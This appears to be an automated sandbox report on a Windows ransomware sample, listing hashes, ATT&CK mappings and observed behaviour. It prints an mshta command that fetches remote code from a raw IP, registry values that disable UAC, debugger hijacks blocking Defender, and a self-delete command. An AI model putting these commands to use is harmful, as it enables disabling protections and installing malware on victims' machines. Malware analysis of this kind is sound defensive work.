4b68fd89f8a1fc7eea3c478c74c0677e280a94410906e85eb715a65dad31623c

Analysis

max time kernel
18s
max time network
23s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
07-11-2022 10:24

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Reason

Machine shutdown

Report Analysis Logs

General

Target

Trojan-Ransom.Win32.Blocker.exe
Size

1.0MB
MD5

985ee7dc0de6c5081bf40ba08b93d37b
SHA1

9386445adf364543c10c8f11cef54cfcd4fdd54f
SHA256

4b68fd89f8a1fc7eea3c478c74c0677e280a94410906e85eb715a65dad31623c
SHA512

ee5210ed05280eb101df79b6e0044c85fd7f222f6c0e8b25998bbfecadf6813276c35b42d661fe6d7739e94c249c3975941d35ee4d2ad48f99485b778e9a71ee
SSDEEP

24576:gljS8/Ns4q86Oh1Jp9cAnlwDUctAaxu19GroaJqlZJhUr:x8u4q8xXTeAnEUc6CuWroaJqFhUr

Score

10^/10

evasion persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://93.115.82.248/?0=1&1=0&2=9&3=i&4=9200&5=1&6=1111&7=uphdidcbbh

Signatures

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	guard-fmjb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	guard-fmjb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	guard-fmjb.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	4860	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
4488	guard-fmjb.exe

Sets file execution options in registry 2 TTPs 12 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe"	guard-fmjb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe	guard-fmjb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "svchost.exe"	guard-fmjb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe\Debugger = "svchost.exe"	guard-fmjb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe\Debugger = "svchost.exe"	guard-fmjb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe\Debugger = "svchost.exe"	guard-fmjb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe	guard-fmjb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe"	guard-fmjb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	guard-fmjb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe	guard-fmjb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe	guard-fmjb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe	guard-fmjb.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	Trojan-Ransom.Win32.Blocker.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows\CurrentVersion\Run	guard-fmjb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GuardSoftware = "C:\\Users\\Admin\\AppData\\Roaming\\guard-fmjb.exe"	guard-fmjb.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	guard-fmjb.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.dyndns.org

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\diskmgmt.msc	guard-fmjb.exe
File opened for modification	C:\Windows\SysWOW64\services.msc	guard-fmjb.exe
File opened for modification	C:\Windows\SysWOW64\eventvwr.msc	guard-fmjb.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 22 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\officeclicktorun\Overrides	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\ExternalFeatureOverrides\officeclicktorun	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\Overrides	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "223"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\all\Overrides	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\FirstSession\officeclicktorun	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4488	guard-fmjb.exe
Token: SeShutdownPrivilege	4488	guard-fmjb.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4488	guard-fmjb.exe
4488	guard-fmjb.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
4488	guard-fmjb.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3548	Trojan-Ransom.Win32.Blocker.exe
4488	guard-fmjb.exe
4488	guard-fmjb.exe
4636	LogonUI.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3548 wrote to memory of 4488	3548	Trojan-Ransom.Win32.Blocker.exe	81
PID 3548 wrote to memory of 4488	3548	Trojan-Ransom.Win32.Blocker.exe	81
PID 3548 wrote to memory of 4488	3548	Trojan-Ransom.Win32.Blocker.exe	81
PID 4488 wrote to memory of 4860	4488	guard-fmjb.exe	82
PID 4488 wrote to memory of 4860	4488	guard-fmjb.exe	82
PID 4488 wrote to memory of 4860	4488	guard-fmjb.exe	82
PID 3548 wrote to memory of 1476	3548	Trojan-Ransom.Win32.Blocker.exe	83
PID 3548 wrote to memory of 1476	3548	Trojan-Ransom.Win32.Blocker.exe	83
PID 3548 wrote to memory of 1476	3548	Trojan-Ransom.Win32.Blocker.exe	83

System policy modification 1 TTPs 5 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	guard-fmjb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	guard-fmjb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	guard-fmjb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	guard-fmjb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "0"	guard-fmjb.exe

C:\Users\Admin\AppData\Local\Temp\Trojan-Ransom.Win32.Blocker.exe
"C:\Users\Admin\AppData\Local\Temp\Trojan-Ransom.Win32.Blocker.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3548
- C:\Users\Admin\AppData\Roaming\guard-fmjb.exe
  C:\Users\Admin\AppData\Roaming\guard-fmjb.exe
  2⤵
  - UAC bypass
  - Executes dropped EXE
  - Sets file execution options in registry
  - Adds Run key to start application
  - Checks whether UAC is enabled
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4488
- - C:\Windows\SysWOW64\mshta.exe
    mshta.exe "http://93.115.82.248/?0=1&1=0&2=9&3=i&4=9200&5=1&6=1111&7=uphdidcbbh"
    3⤵
    - Blocklisted process makes network request
    PID:4860
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\TROJAN~1.EXE" >> NUL
  2⤵
  PID:1476

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39e6055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4636

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:2344

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Bypass User Account Control

T1088

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\guard-fmjb.exe

Filesize
1.0MB

MD5
985ee7dc0de6c5081bf40ba08b93d37b

SHA1
9386445adf364543c10c8f11cef54cfcd4fdd54f

SHA256
4b68fd89f8a1fc7eea3c478c74c0677e280a94410906e85eb715a65dad31623c

SHA512
ee5210ed05280eb101df79b6e0044c85fd7f222f6c0e8b25998bbfecadf6813276c35b42d661fe6d7739e94c249c3975941d35ee4d2ad48f99485b778e9a71ee

Download Submit
C:\Users\Admin\AppData\Roaming\guard-fmjb.exe

Filesize
1.0MB

MD5
985ee7dc0de6c5081bf40ba08b93d37b

SHA1
9386445adf364543c10c8f11cef54cfcd4fdd54f

SHA256
4b68fd89f8a1fc7eea3c478c74c0677e280a94410906e85eb715a65dad31623c

SHA512
ee5210ed05280eb101df79b6e0044c85fd7f222f6c0e8b25998bbfecadf6813276c35b42d661fe6d7739e94c249c3975941d35ee4d2ad48f99485b778e9a71ee

Download Submit
memory/1476-141-0x0000000000000000-mapping.dmp

Download
memory/3548-134-0x0000000003480000-0x0000000003484000-memory.dmp

Filesize
16KB

Download
memory/3548-133-0x0000000002380000-0x00000000023DF000-memory.dmp

Filesize
380KB

Download
memory/3548-132-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/3548-143-0x0000000002380000-0x00000000023DF000-memory.dmp

Filesize
380KB

Download
memory/3548-142-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/4488-144-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/4488-139-0x0000000000AC0000-0x0000000000B1F000-memory.dmp

Filesize
380KB

Download
memory/4488-138-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/4488-135-0x0000000000000000-mapping.dmp

Download
memory/4488-145-0x0000000000AC0000-0x0000000000B1F000-memory.dmp

Filesize
380KB

Download
memory/4488-146-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/4488-147-0x0000000000AC0000-0x0000000000B1F000-memory.dmp

Filesize
380KB

Download
memory/4860-140-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads